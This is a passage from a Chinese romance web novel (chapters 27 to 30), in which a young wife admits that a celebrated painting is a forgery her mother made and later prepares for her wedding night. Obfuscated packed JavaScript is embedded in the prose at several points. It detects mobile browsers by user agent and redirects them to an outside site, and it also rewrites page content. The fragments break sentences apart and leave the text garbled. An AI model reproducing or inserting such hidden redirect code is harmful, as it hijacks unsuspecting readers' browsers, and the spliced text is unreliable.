正好曾正卿与她目光对视,她拼命挤眉弄眼传递讯息。 睁大眼,轻摇头,苦瓜脸,卑微笑。译过来就是: 夫君君!我不会!救救我!求求你! 青朵满怀希望地看到曾正卿垂眸颔首,以为此事稳妥无疑,刚松一口气,就听他说道:“我也是头一次知道,夫人还有如此精妙的技艺,择日不如撞日,便请夫人大显身手吧!” !!! 讨好的笑容凝在脸上,青朵张大嘴巴,僵在原地。 一阵阴风吹过,吹她一个透心凉。 27. 真假 真是乞怜终落失颜,求人不如求己! 青朵愤愤地剜了曾正卿一眼,那人却像没看见似的,只顾着与好友谈笑风生。 大不了画完“马”,就三十六计走为上计——去趟茅房。 她拎起勺子,从容不怕地画完,把糖画递给刘恪,还未来得及捂住肚子做紧急状,就听曾正卿问道:“不知夫人画的是哪一种龙?” “什么哪一种?”青朵一头雾水。 “《山海经》中记载烛、应、青、金、蟠、蛟、夔等几种龙,不知夫人要画的是哪一种?我个人比较喜欢应龙,‘旱而为应龙状,乃得大雨。’击败蚩尤,掌控风雨,能力强大,令人敬畏。不知夫人能否为我……” “画不了,”青朵无情地打断他。她连一片龙鳞都不会画,哪里能画出什么应龙? 她满脸难以置信,刚才好一顿使眼色,他明明看见还装没看见。更可恶的是,不帮她就算了,竟然还要难上加难! 于是咬牙切齿道:“白送给你的,画什么就收什么!” 青朵一时气得忘了尿遁的事,把勺子甩进糖浆锅里,“咣啷咣啷”使劲搅动,眼睛仍是狠狠瞪向曾正卿。 她满是不情愿,舀一勺糖浆,手腕微倾,却滞在上空,虽然但是,她还是不会画龙啊! 她拼命回想露浓买来的“祥龙”模样,可当时光顾着玩和吃,没有细看它的样子,这该如何是好!右脚不自觉在桌子下面抖动,一着急,竟然真想小解。 对啊!自己还有“走为上计”! 青朵捂住肚子:“哎哟我……” 曾正卿接口道:“夫人若是画不出来,便不要勉强。” “谁说我画不出来!”青朵松开手挺直腰板,不要小看我!她理直气壮道,“你等着,我现在就画给你!” 曾正卿微微一笑:“多谢夫人。” 刘恪在后面拼命抿嘴,还是嗤笑出声,青朵不理他们,她一心要以精湛技艺征服二人,盯着空空的铁板憋了半晌,突然侧倾糖浆,在上面写下龙飞凤舞的一个大字: “龍” 她“啪”地将一个木棍随意扔到糖上,待其稳固,用铲子铲起,递给曾正卿:“喏,你要的‘龙’!” 曾正卿不接:“夫人,这是字,可不是画。” “字画字画,字就是画,画也可以是字,”青朵梗着脖子道,“你瞧这左侧的‘立’就是龙的头,‘月’就像龙的身,更别说右侧了,活活好似龙的爪,这不是画是什么?” 还不等曾正卿说什么,刘恪上前一步笑道:“弟妹说的对极了,这字走势流畅,可以看做矫健龙身,又怎么不是画呢?” 有人帮她说话,青朵的脖子扬得更高,她随没有出声附和,骄傲的神情已经大声表达出“就是就是”的意思。 曾正卿接过糖画,正色道:“多亏夫人指教,我才明白,这字也是画。” “哪里哪里,”青朵得意地谦虚道,“你谬赞了,我不过懂得一些皮毛而已。”她的嘴角高高扬起:“你们不是有正事要说?快进屋吧,我给你们倒茶!”言毕,就哼着小曲进屋去了。 曾正卿望着她欢乐的身影,脸上渐渐现出笑意。突然刘恪一巴掌拍在他肩上,打断他的注视,他皱眉看向刘恪。 “弟妹真是天真烂漫,我好想带她去见我家婉婉,她一定也喜欢弟妹!”刘恪喜道。 “她是古灵精怪得很,不失赤子的纯真。”曾正卿说着,想起刚才青朵的娇憨灵动,脸上浮现温情的笑。 刘恪凑近低声道:“哦!某位贤弟可是爱到骨子里?” 曾正卿顿时敛笑,他斜睨一眼,推开刘恪,自顾自地拾阶而上,刘恪嬉皮笑脸跟在他身后。 进屋后几人喝了几口茶,方谈起刘恪此行的目的。 “你要找我鉴定《青山万朵图》?”青朵讶异道,她指着刘恪一直抱在怀中的画卷,说道,“难道这个就是?” “正是令尊所画,”刘恪一脸慈爱地抚摸怀中画卷,“今日特携此宝登门,就是想请弟妹过目,以辨真赝。” 青朵倒吸一口冷气,后背骤然涌上一层冷汗,右脚也开始抖动,曾正卿瞥见她和画龙时一样的慌乱样子,合上茶碗,说道:“早闻《青山万朵图》妙绝天下,幸得机缘欣赏,恨不得立时展卷,一睹卷内乾坤。” 刘恪立即净手,方才虔诚展卷,三人凑近赏画。画面上,群山环绕浩渺江河,近处看,山间飞瀑,绿柳红花;江上水磨长桥,渔舟泛渡。景致众多,却形制各异,毫无重叠,笔触细腻,意境雄浑,令人观之难忘。 曾正卿不禁低吟道:“江流天地外,山色有无中。” 刘恪得意道:“怎么样?现在看来,我这三千两银子花的不亏吧?” 青朵呆呆凝视画作,怔然不语,刘恪见她不说话,追问道:“弟妹,可看出何处不妥?” 青朵点点头,又马上摇摇头,她问道:“刘大哥,你先买了画,才拿来让我们鉴定,倘若是赝品,难道你还能退回去吗?” “自然不能,只是我若不赶紧下手,就要被人买了去。假的我就一把火烧了,眼不见心不烦,若是真品落入他人之手,我可要痛苦一辈子!”刘恪摇头叹道。 青朵不再吭声,目光又落回到画上,曾正卿见她神色怔忡,以为她难以辨别,手落在她的肩上,柔声劝道:“夫人别急,倘若一时无法断定,就请你刘大哥暂住一日,我们再细细观赏,若还是不行,不必勉强。想他心善仁厚,不会与你为难。” 啧啧啧,用着他的时候就让他“暂住”,用不到的时候就让他速速回府。刘恪暗暗叹气,卿大不中留啊! 他马上说道:“元柏说的对,若有难处,但说无妨,弟妹不要为此伤神。” 青朵抬头看看曾正卿,见他对着自己点头微笑,顿时心生勇气,她望向刘恪,说道:“刘大哥,这幅画是真的。” “果然是真的?”刘恪声音颤抖。 “是,”青朵坚定道,“真的不能再真了。” * 迅疾的风钻进支起的窗,肥硕的身躯蓦地被压瘪,它痛苦地喊叫不停。青朵不忍心听那一声声呜咽,伸手关上窗。 面前补药的苦味顿时浓重起来,青朵嘟囔:“之前刁难我,我还得给你熬药补神,好不公平。” 话音刚落,一个念头瞬间点亮她的眼,她“嘿嘿”笑着,又拿起一份淫羊藿投进去,眼见它沉没在水中,笑嘻嘻道:“你想让我丢脸,我就请你吃苦头——” “今日的补药,味道好像更浓。”曾正卿喝一口,皱眉道。 青朵眨眨眼:“我熬的时候忘了及时关火,水分熬干了。没事的——浓稠更有效果喔” 曾正卿不再多说,想着妻子辛辛苦苦熬药,不能辜负她的一番心意,强忍苦涩,一口气喝光。盥洗之后,两人熄烛歇息。 偏偏将要入睡时,外面下起瓢泼大雨,仿佛一瓢又一瓢的豆子落在鼓面上,“咚咚咚咚”响个不停,让人难以入眠。 曾正卿的眼直勾勾地瞪着床顶,却不是因为雨声。 他身上像是窝着一团火。前几日还以为是天热的缘故,早上特意让芳晴换了薄被,晚上又逢雨至,明明凉爽,身上的燥热,却比前几日更甚,五脏六腑的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493978|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分似是都被蒸发,人也闷得喘不上气,他烦躁地扯松领口。 更要命的是,身旁的人儿似乎被雨声搅得不成眠,她翻来覆去地滚动,让他的身体无法忽视她的存在,身体某处被悄悄唤醒,叫嚣着渴望。 “轰隆——”一声震雷轰然炸响。曾正卿听到青朵低呼一声“妈呀!”,旋即蒙上被子,瑟瑟发抖。 他感受到右侧传来的震颤,关切道:“夫人怕雷?” “不,不不,不怕。” “那为何发抖?” 青朵从被子里探出眼睛,闷声回道:“我只是今天怕” 曾正卿一怔,这是什么话?刚要进一步询问,有一个惊雷轰鸣,青朵伸出的半个脑袋又缩回到被中。他惊愕地望向扭成一团的被子,想要安抚的手停在半空,不知从何下手。 “请问,”当雷声退却,震动的被子团客气问道,“我可以进你的被窝待一会儿吗?” 曾正卿咽下差点脱口而出的求之不得,故作矜持,沉吟不语。青朵见他不说话,郁闷道:“我知道这有点强人所难,你要是不情愿的话……” “进来吧!”曾正卿不等她说完,便一把掀开被子。 像乌龟舒展四肢,被子里也长出青朵,她欢快地蠕动到曾正卿那边,枕着他的手臂,任由他放下被子裹住她,发自内心地赞道:“谢谢你卿卿,你真是个好人!” “好人”不动声色地蜷缩手臂,揽住她的背,缓缓让她靠近自己,直到她的脸颊贴上自己的胸膛。他好似盼到自己渴望的甘霖,畅快地吁一口气,说道:“不用谢。” 雷声轰鸣,怀中的身体霎时紧绷,他顺理成章紧紧搂着她,轻拍她的背,温暖的安抚下,她的身子又软化成水。 这是他第二次抱她,全部的注意都被这具身体占据,这还是第一次。他嗅到她发间清甜的茉莉花香,忍不住抚摸她的头发,直到妻子扬起脸,她的呼吸如羽毛般扫落在他的脸上,一股热血奔涌而上。 他的呼吸愈发急促,青朵兀自不觉,她小声说道:“卿卿,能不能向刘大哥买回《青山万朵图》?” “嗯?”曾正卿努力让自己去听青朵说话,嘴唇却不自觉朝下探。他哑声道:“这是他的心头好,不会割爱的。” 对,他不会割爱,他曾尝过那柔软唇瓣的滋味,胸膛里的火劈啪作响,星火燎原,烧得他喉头发紧。 “他会的。”青朵嗫喏道,手不自觉攥紧曾正卿的衣襟。 他含糊地应道:“嗯?” 曾正卿根本无心听她说什么,早已沉浸在芬芳中,一心觉得无论是红山茶,还是茉莉,万千缤纷,都不如她宜嗔宜喜,楚楚动人。 近了,更近了,心不可抑制地怦怦直跳,只要他再向下一点,就能…… “因为我说谎了。”她终于说出口。 曾正卿心猿意马,他只注意到怀中的脑袋竟在此时竟垂下去,让他的心愿落空,不禁心烦意乱。他的手掌覆上她的肩膀,只轻轻一带,她便不容抗拒地仰起头来,他喉结剧烈滚动,吸取上一次的教训,迅速逼近。 就像流星,要坠落在属于自己的天地。 “刘大哥那幅画是假的。”青朵小声道。 温热的气息撩过她的唇瓣,曾正卿顿住了。这个时候突然提别的男人?他不悦地皱眉,刚想表达不满,突然,后知后觉反应过来。 “啊???”他松开青朵连连后退,震惊地看向黑暗中她模糊的面容。 青朵同样看不清他的神色,却从凝滞的呼吸中感受到他的惊讶,她叹了口气,重复道: “假的不能再假了。” 28. 真相 雷声早已隐去,雨似是在打探屋内的秘密,放轻落地的脚步。 淅沥沥的雨声,浇灭心中最后一颗火星,曾正卿终于完全清醒。可“真”与“假”的悬疑,像是太极两色,在眼前飞速旋转,融为一体,让他分不清黑白。 他左手揉按太阳穴,许久才从喉中挤出一个问题:“所以,那幅画到底是真的,还是假的?” “假的。”青朵乖乖地回答。 “你当时又为何说是‘真的’?” “这个嘛……就是有一些不得已的原因。”青朵含含糊糊。 “夫人想要那幅画吧?”枕在他手臂的脑袋上下俯仰,“恭直不会轻易让步,如果夫人有所欺瞒,恐怕我也难以帮你拿回《青山万朵图》。” 青朵犹豫了一会儿,说道:“你想知道什么?” “你说那幅画是假的,可有证据?” “当然。” “外面的都是假的。” “难道……”曾正卿心中有了猜测。 “真品就在我手里。”青朵低声道。 曾正卿倒吸冷气:“那岂不是不用看画,你就知道它就是假的?为什么还要鉴定许久?” “为什么要骗恭直那是真品?还如此肯定?” “你不该戏弄恭直。” 面对曾正卿严厉言辞,青朵如鹌鹑般缩起脖子,瑟缩道:“我错啦,因为我撒谎,才害怕被雷劈,心惊胆战地不敢睡觉,我已经遭到报应,所以卿卿,你不要生气。” 曾正卿顿时气消,他暗暗叹气,一段时间的相处,他多少摸到与夫人相处的方法,像上次明明是她一气之下要改姓秦,到她嘴里就变成“我爹不要我”。 唯有夸奖,能让她毫不设防说出实话。 他再次抱住青朵,恳切道:“夫人,我一时心急,并不是恼怒于你,你素来心性纯良,不会故意害人骗人,此番种种定然有隐情,还望你将缘故详细说给我听。” 听了他的温言细语,“鹌鹑”果然伸长脖子,大胆说道:“你说的没错,我这么善良,怎么会害人骗人,实在是迫不得已,都因为刘大哥说,如果是赝品,他就要一把火烧掉。对他来说,这假画不值一提,对我来说,却是价值千金。” “这幅画的真假也是一样的道理,全看对谁来说。” 她的“对谁来说”道理把曾正卿搞糊涂了,他疑惑道:“什么意思?” 青朵认真回答:“对我爹来说,画就是假的;对我娘来说,画就是真的。” 曾正卿想了一下才把“顺口溜”理顺,她还不如直接说,画是岳母画的! 不过他也算明白妻子说谎的原因,他轻抚她圆圆的脑袋,叹息道:“你是想护住岳母的画,所以才撒谎,确实算有情可原。” 掌心下的脑瓜连连点头,他又问道:“所以,岳母为何仿岳父的画?” “这个嘛……”她又开始吞吞吐吐。 得了,不用说,又跟她有关。曾正卿起身坐直,道:“岳父的《青山万朵图》在何处?” 岳母笔下的山河已堪传世,不敢想象名冠天下的原作,该是怎样的精妙绝伦?他神往非常,现下就想取来一饱眼福。 曾正卿点燃烛芯,青朵从嫁妆箱子里翻出一个画轴,她郑重地把画交给他,神色坚毅,倒有几分慨然赴死的意味。 曾正卿心里做好准备,看她的样子,说不定是个女娲都不上的弥天大祸。 从回家到现在,他不知道被震惊了多少次。平凡日子也过得高潮迭起,多亏娶了“贤妻”。 随着画轴徐徐展开,曾正卿不自觉屏住呼吸。泱泱长河,巍峨远山杳然入眼。石青石绿层层晕染,既雕刻出峰峦的苍劲,又渲染了江面的渺远。瀑布峡谷,院落舟桥,小岛绿树,沙渚村舍,自然与烟火人间相映,山河的雄奇与水乡的繁华,萃聚在尺幅间。 曾正卿虽不甚懂画,初见也大为震撼,此画动静相合,有如天生,山峰意在轩邈,江河奔腾不休,仿佛他登临此处,将万千风景一览眼中,不,自己观赏到的,也难如此细致,他心神激荡,急切推卷,想要看到更多。 “唔!” 青朵听到曾正卿发出讶异的惊呼,闭了闭眼,该来的还是来了。 “你???” 他惊愕回头,明明外面没有打雷,他却如遭雷击,像被劈成两半的树木,摇摇欲坠,喉咙发不出半丝声响。 青朵耷拉着脑袋,双手规规矩矩地拢在身前,盯着地面一声不吭。曾正卿明白,这已经是她知错的最高体现。他不忍心再出言责怪,只是叹息叹息又叹息。 “唉——可惜了,唉——” 他的目光又落回画上,再次确认,自己所见并不是幻觉。 惊艳绝伦的画卷中间,一座巍峨高山上,赫然写着七个稚嫩的、歪歪扭扭的大字: “唐青朵到此一游” * 青朵也在叹息。 没想到这普通的一日,过得如此艰难,像是跳入万山之中,翻过一座又被拦。好不容易挽救一回颜面,它又在另一次丧失殆尽。 做女子真难!做端庄的女子真难! 曾正卿指着画上的字:“此事岳父可知道?” “哪敢让他知道,”青朵心虚道,“他非打死我不可!就因为如此,娘才仿画一幅遮掩过去。” 曾正卿的瞳孔骤然放大,他张了张嘴,最终把“如果当时打一顿你就不会无法无天”咽下去,他目光复杂地望着青朵,叹气道:“夫人,以后咱们的孩子,还是由我来教导。” 青朵心一紧:他果然想要孩子! 可他现在身体还不行啊! 幸亏晚上给他加了药量,还算是歪打正着。 曾正卿不知青朵心中几番波折的浮想联翩,他将画卷起叹道:“事已至此,也别无他法,只是可惜一幅传世好画。” “那时我三岁,做事没深没浅,才会毁了我爹的心血。唉,以后我会当牛做马做爹的孝女,就算是补偿他啦!”青朵懊悔道。 “只是卿卿,”青朵的眼神满是祈求:“娘在我很小的时候就去了,也没给我留下什么念想,我真的很想要娘画的那幅《青山万朵图》。” 曾正卿沉吟道:“明日我去见恭直,向他如实相告,此物并非真品,或许我能说动他松口割爱,并将画转让给我。” 青朵睁大双眼:“难道……难道……你愿意花三千两,实现我的愿望?” “此画‘对你来说’意义非凡,莫说三千两,就是千金之价,我也要寻来给你。”曾正卿叹道。 青朵的眼底燃起火苗,她飞过去挂到他脖子上,激动道:“卿卿!我也要当牛做马,做你一辈子的贤妻!” 曾正卿被一股冲力推得向后两步,他稳住身形,揽住青朵无奈道:“当牛做马倒是不必。” 不过一辈子……他枕在青朵肩上,心头一热,那倒是很好很好。 “可是……”青朵又犹豫起来,“三千两不是小数目,我不能让你一个人承担!这样!我们一人一半!只是我手中没有钱,卿卿,你,你先帮我垫上,等我攒钱还你……” “好啊,不如现在就立下字据,以防夫人日后抵赖。”曾正卿一本正经道。 青朵一怔,刚想说自己不会抵赖,仰头对上他含笑的眼睛,才明白他是在打趣,就听曾正卿叹道:“你我夫妻一体,何必明算账?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青朵沉默了,过了好一会儿,曾正卿甚至怀疑她是不是已经睡着,忽听她说道:“你,你怎么不劝我继续学画?” “我希望夫人做你想做的事。” “不管是执笔,还是持勺,你皆可随心尽兴,放手为之。至于银钱一事,自有我来打点,夫人……做快乐的事就好。” 她本是自由的云,不该因嫁给他,被困成一潭死水。 枝条长出嫩叶,叶片舒畅伸展,青朵在长大,可又有什么在托着她,她越升越高,风穿过她,鸟围绕她,这股力量一直送她到云层之巅,整个人都飘飘欲仙…… “卿卿……”他的怀抱是如此令人心安神定,青朵阖上双眼,呼吸很快就变得绵长而均匀。 曾正卿小心翼翼将她打横抱起,动作轻盈,像是怕吹散一朵云,他稳稳把她放置床榻上,替她盖上锦被。 青朵早已神游梦中,她梦见自己在娘养病时住的院子中,那时家里养着好几只鸡,其中最好斗的那只公鸡,尾巴高高翘起,正闲庭信步。五彩斑斓的羽毛吸引她的注意力,青朵学着它的样子,脖子一伸一缩,跟在它后面,悄悄俯下身子,眼疾手快,薅了最长的那根尾羽。 公鸡吃痛回头,青朵身子伏低还来及躲闪,公鸡瞄准她的唇,狠叨叨啄上一口…… 青朵骤然从惊愕中抽离,心脏还在急剧乱跳,突然发觉嘴唇湿热,大吃一惊,难道自己真被啄伤,出血了? 她急忙睁开眼,熟悉的眉眼近在咫尺,她震惊之余,赶忙闭上双眸装睡,轻车熟路地掐住自己的大腿根。 呼——幸亏他闭着眼,没有看到她醒来。 卿卿,他,他怎么又亲…… 青朵晕红双颊,早上还只是轻轻触碰,可现在,他的唇含住她的…… 不知为何,自己浑身失了力,掐住皮肉的手指绵软,都感受不到半分疼意。 次次都要装睡!自己就要装不下去了啊! 这样下去可不行!她必须要找珠姨问个清楚! 卿卿这般肆意索求,难道是病愈的征兆? 29. 惊喜 面前画上的女子,双颊笼上一抹似笑非笑的绯色,眼中脉脉含情,只唇间还未上色。她的创造者唐家青朵,头不受控地频频下坠,手中羊毫随之一抖又一抖,在绢上戳戳点点。 “啪!”戒尺毫不留情地拍到桌上,青朵浑身一震,顿时惊醒。 “阿照!一个时辰不到,你已经睡过去三次了!瞧瞧你画的什么!”唐礼斥责道。 青朵揉揉眼睛,定睛一看,不禁“哎呀”一声。原本应涂在唇上的朱砂,一道道勾在女子脸上,已然破相。 “好一个温柔娴静的女子,让你画得像是被猫挠了一样!” 青朵嘴硬道:“花中以‘抓破美人脸’为美,怎么真实的美人脸被抓破,就不觉得她美了呢?” 唐礼“啪啪”敲桌子,恨铁不成钢道:“明明就是自己学画不专心!不知道悔改就罢了,还非得犟嘴!” 青朵捂住耳朵,在噪声的攻击下求饶:“我错了我错了,是我用心不专,学业不精!” 唐礼止住敲击,青朵松开手,抱怨道:“都怪卿卿,因为他我昨晚都没睡好,直到四更才睡着!” 她根本忍不住,一直在猜测卿卿的病是不是痊愈,能不困嘛! 唐礼神色怪异,他忍不住训道:“你你你!这么大个人,怎么话说出口也不过过脑子,这话能随便说吗?” “怎么不能?本来就是!就是卿卿……”青朵不服气地解释。 “啦啦啦啦啦不听不听!”唐礼强行打断她,他瞪着眼睛道,“以你今日状态,再画十幅也是枉然!去去去,少浪费我的时间,自己回去重新画!还有上次布置的男子画稿,何时可见?限你三日,两个一起送来!莫让我三催四请!” 青朵毫不在意嘟嘴道:“不就两幅画,小意思!”见唐礼迈步出门,好奇问道:“爹,你去哪?” 唐礼含糊着:“我,我去找个朋友下棋。”不等青朵继续问,就一溜烟跑了。 青朵纳闷地自言自语:“就爹这臭棋篓子,我都不情愿和他下棋,还有人愿意跟他一起玩?” 她想了想肯定道:“嗯!对方一定也是臭棋篓子。” 爹落水后,双手颤抖的病症还未痊愈。青朵想到爹执棋子的手,一顿上下颠簸,最后落到空格上的画面,不禁唏嘘,能忍受烂棋加上抖手,真是个不可多得的棋友! 不过爹走了也好,正好有些话得背着他,悄悄问珠姨。 珠娘坐在葡萄架下,垂眸凝神,手中银针来回穿梭,素娟上,一朵白色山茶正缓缓绽放。 青朵站立她身后观察良久,终于忍不住赞道:“珠姨,针线到了你的手里,可真听话!” 后面突然有人说话,珠娘冷不丁吓了一跳,针尖偏斜戳到指上,一抹鲜血染红花蕊。她放下绣绷叹道:“阿照呀!我绣了几日,马上就要成了,这下可好!你出来怎么无声无息的!” 青朵挠挠后脑勺,带着歉意道:“对不起哦,不过这样也很好看,白底红纹,月中带彩,完美无瑕是一种美,偶然的缺憾也是独树一帜。” 珠娘瞥了她一眼:“就像你画的那个,被猫挠花了脸的美人一样?” 青朵讪讪道:“原来你听到了……”她坐在一旁,拿起蒲扇讨好地给珠娘扇风:“以珠姨的针法,要是我们不说,外人也看不出这是失误,还以为是你郝娘子别出心裁的匠心呢!” 珠娘“扑哧”笑出声:“罢了罢了,你这小嘴甜的,倒叫我没办法再说你什么。” 青朵手中的扇子越扇越快,她笑嘻嘻说道:“就算我不嘴甜,珠姨也不会怨我,珠姨一向通情达理,怎么会和我这个毛躁的小丫头计较呢!” 珠娘叫青朵哄得心花怒放,她一把夺过扇子,反过来给青朵扇风:“哎哟哟,还是我来吧,可别把我们毛躁小丫头热着!” 她一边扇着,低声问道:“你夫君的身体,调理的怎么样了?” 青朵精神一阵,忙回道:“我正要跟你说这件事!据我猜测,他应该是大好了!” “怎么,你看到他这样了?”珠娘又翘起自己的食指。 青朵摇摇头,红霞从脖颈慢慢往上爬,她的声音又小又细:“他……他总亲我……” 珠娘闻言,不顾打扇,只是“吃吃”地笑。青朵劈手夺过扇子遮在脸前,她又羞又怒道:“你别,别笑了!” 珠娘见执扇的手也漫上嫣红,轻轻嗓子,勉强压下笑意,说道:“我还给你准备了一样东西,没想到这么快就能派上用场。” 直到听到物件落到桌子上的声音,青朵才挪下扇子,露出含羞带怯的,湿漉漉的眼,瞥到桌上的布包,她疑惑地望向珠娘。 珠娘一脸神秘地解开包裹,说道:“这可是大惊喜……” 哦?青朵的好奇心被勾起,她的眼睛一眨不眨地盯着“惊喜”,不过,可是,这算什么惊喜?不过就是绣着红山茶的薄纱裙嘛!非要说“喜”的话,就是山茶花瓣层层叠叠,花瓣由浅入深,渐变晕染,花瓣边缘不知用什么绣成,阳光下泛着银光,似是片片花瓣随风轻扬。 青朵茫然地眨眼,她说道:“这条裙子珠姨你留着穿吧,卿卿送我的裙子,还有好几箱没穿过呢!” “傻——瓜——”珠娘见她一脸天真,又好气又好笑,说道,“这和你那些裙子可不一样!”她拎起裙子抖开,在身前比划,“穿上它呀,我保你极尽鱼水之欢。” 当裙子整个铺开,青朵这才发现,山茶花零落缀于胸口与腰间,堪堪遮掩隐秘处,其余薄纱如同蝉翼,她甚至可以透过纱裙窥见珠姨的衣裙细节。 穿上这一身,欢不欢的不知道,但她一定会含羞致死。 她收回那句话!很“惊”!!衣不惊人死不休!!! 她呆坐在凳子上,瞠目结舌。脚下的地面似乎鼓动起来,变成一锅热水,咕嘟咕嘟冒泡,而她是蒸屉上的青蟹,从蟹腿到蟹钳,通通红的不能再红。 “怎么样?”珠娘邀功道。 “都都都都都都露露着呢!”青朵说话嘴都直哆嗦,“露露露着呢!” “要的就是这个效果!你再让他服几天药,等觉得差不多的时候,就穿上身,我包你大功告成。” 大功告成?如此神奇?那卿卿岂不是有救?她有些心动,但一想到穿上这衣服,就跟赤身露体没什么区别,马上联想到新婚夜,自己寸丝不挂那一幕,恐惧排山倒海袭来,她慌乱摇头。 可卿卿的“不举”怎么办?他都喝了这么多天的药,就差最后这一“功”,如果她退缩,他岂不是白受苦楚?何况他曾说过要亲自教导孩子,那是想要孩子的意思,不同房的话,自己哪里“揣”得上孩子? 青朵一闭眼,下狠心对自己说,卿卿都为你花三千两买回《青山万朵图》,愿你去做想做的事,他事事为你着想,你就不能为他做点什么? 做人要讲义气! 不过就是穿一件衣服!又不是上断头台!羞就羞死吧! 不过穿上它之后要做什么? “我我我……那我到时候说说什么啊……”她结结巴巴道。 “还用说?”珠娘捂嘴笑,“傻孩子,你当你夫君像你似的?他一看就全明白了!” 她挤眼笑道,“等你通晓其中的妙处,可别忘谢我!” * 曾正卿特意早结束铺子里的事,赶去接青朵回家,唐礼也已回来,留他们吃了晚饭。 席间他就觉得不对劲,每每与青朵对视,他那个胆大包天的夫人,却躲躲闪闪地避开他的目光,难道是又闯了什么祸事? 他不禁暗自琢磨,自己有什么珍贵的东西,值得她“到此一游”? 等两人出门,青朵先上马车,岳父唐礼却把他拉到一边,语重心长道:“贤婿啊,今天阿照频频瞌睡,她还小呢,每天还得学画练画,最耗精力,你得让她早点休息啊。” 曾正卿忙道:“多谢岳父提醒,昨夜我们是休息得晚……” 唐礼眯起眼睛,嘿奇了,他那个不着边际的女儿随口就来也就罢了,这稳健踏实的女婿也没分寸什么都说?不,不能,一定是自己没说清楚。 他轻轻嗓子,低声说道:“元柏啊,我是过来人,年轻气盛,我都经历过,只是《黄帝内经》有云,‘天地之道,贵在平衡’。什么事,过犹不及啊!还望你修身正心,克己复礼。” 刚开始,曾正卿听得一头雾水,什么“年轻气盛”“都经历过”,听到后面,顿时恍然大悟,这是叫他要节制养身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我也是不得已而为之,若是误会夫人,事后一定跟她请罪。”他心想, 可当抖落的长裙委地铺开,他的心脏不受控地剧烈震动,热血冲入头部,一时间,他头晕目眩,天旋地转。 他的夫人,果然,很大胆。 曾正卿咽了咽口水,尽力控制自己不去想青朵穿上它的样子,勉强思考:之前夫人多次偷看,已经显现出对他身体的兴趣,加上这件衣服,难道,难道,她想今晚与他圆房? 他的呼吸顿时急促起来,又想到岳父的话,难道是岳父得知他们尚未圆房,所以才有此安排?所以那些警告,是对以后时日所言? 不不不,岳父来安排夫妻的秘事也实在太奇怪了。 可他转念一想,什么奇怪的事发生在他们父女身上,也不过是寻常。 曾正卿心旌摇曳,将薄纱衣裙收进包裹,摆到原位。取出一本书,如平日般翻阅,心中却久久不能平静。晚上喝了浓稠的补药后,他早早入帐,等着青朵沐浴上来,面前的文字钩连着撇,捺拽着横,变幻成诱人的躯体,妩媚动人。 曾正卿正对着白纸黑字浮想联翩,听到青朵的声音,才霍然惊醒。 “咦,你怎么还没睡?” 他猛地抬起头,直愣愣地看向青朵——她身上穿的,不过就是平常的寝衣,并不是今日所见那身。 青朵见盯着自己的目光由期待转为失落,不禁低头看看自己,也没什么异常啊!她奇道:“怎么了?” “没什么。”曾正卿收敛情绪,尽量平静道,“休息吧。” 他无法平静。 躺在枕上,浑身又如昨夜,如火烧的烙铁。黑暗是欲望的放大镜,蠢蠢欲动在此呈现、清晰、膨胀。 回应它的,只有右侧,平稳的呼吸。 他按捺来自身体各方的躁动,艰难入睡。不知睡了多久,半梦半醒间,忽然听闻有人唤他。 “卿卿,卿卿!” 他睁开眼,帘帐已被人拉起,青朵面对他,跪坐在床上,下颌低到几乎要缩进衣领。 曾正卿撑着身子坐起,关切道:“怎么了?” 青朵怯然仰首,月光充盈床帐,照亮她澄澈的眼眸,与微晕的桃腮。她嗫喏道: “我,我换了新的寝衣……你,你可要瞧瞧?” 按捺不住的滚烫从心口窜上,凌乱的呼吸与心跳纠缠在一起,曾正卿声音沙哑:“嗯。” 青朵却懊恼道:“可我解不开外面的系绳……” “……你,你能不能帮我脱下?” 30. 泄露 曾正卿借着月光,俯身去解她上衣系带,他拽住两端一拉,才发现青朵系成死结。他竭尽全力平复心绪,使自己全部的精力专注到小小的绳扣上。奈何左侧女子独有的隆起就在他脸侧,他的双眼盯着它随着呼吸起起伏伏,难以挪开。 “解不开吗?要不然算了……”青朵犹豫的声音在头顶响起。 “能。”曾正卿马上接口道,他支起身子,炽热的目光对上妻子羞涩的双眸,那目光逐渐移到她的唇上,依次向下,一直到领口。 他伸手拽住领口两边,猛地向外拉扯。“嘶——”解不开的衣服被撕成两片。 “你!”青朵惊愕地将双臂护在胸前。 月夜下,一切浸在薄纱里,朦朦胧胧中又透着清清楚楚。周围万籁俱寂,却又暗含涛澜汹涌的澎湃声。曾正卿少时曾随父观钱塘江大潮,赏勇士搏击江潮。他虽惊叹于弄潮者血气之勇,也感慨他们视命犹轻,与自己克己慎行的秉性不合。而真当自己识得踏浪翻波的滋味,方知沉湎其中是人之本性。 他抚摸着她散发着茉莉香的长发,轻吻她湿润的睫毛,喃喃道:“阿照……” 她终究成为他真正的妻子。 不,在他心里,她早已就是。 一切的躁动得到纾解,他们相拥而眠。旦日,刺眼的阳光落在眼皮上,曾正卿下意识抬手遮挡,缓缓睁开眼。 阳光倾泻在脸上,带来暖意,而与此形成鲜明对比的,是下身的一片冰凉。 曾正卿木然地伸手一探,却像是被黏腻烫伤手指,猛然缩回。他静静地躺着不动,任由真实的悲伤劈天盖地,覆上梦境的欢喜。 他的心坠落枯井,徒留闷响。 与之相反,“哒哒哒哒”,有人脚步轻快地走近,“卿卿,你可下醒了!你今早醒得真晚。”青朵不知他的落寞,叽叽喳喳说道,“起来吧,我服侍你穿衣!” “夫人……”曾正卿用手臂盖住脸,“从今晚开始,我搬去书房住。” “为什么?”青朵惊讶道。 曾正卿没想到,唐礼的嘱咐竟成了他人生的预言,他闷声答道: 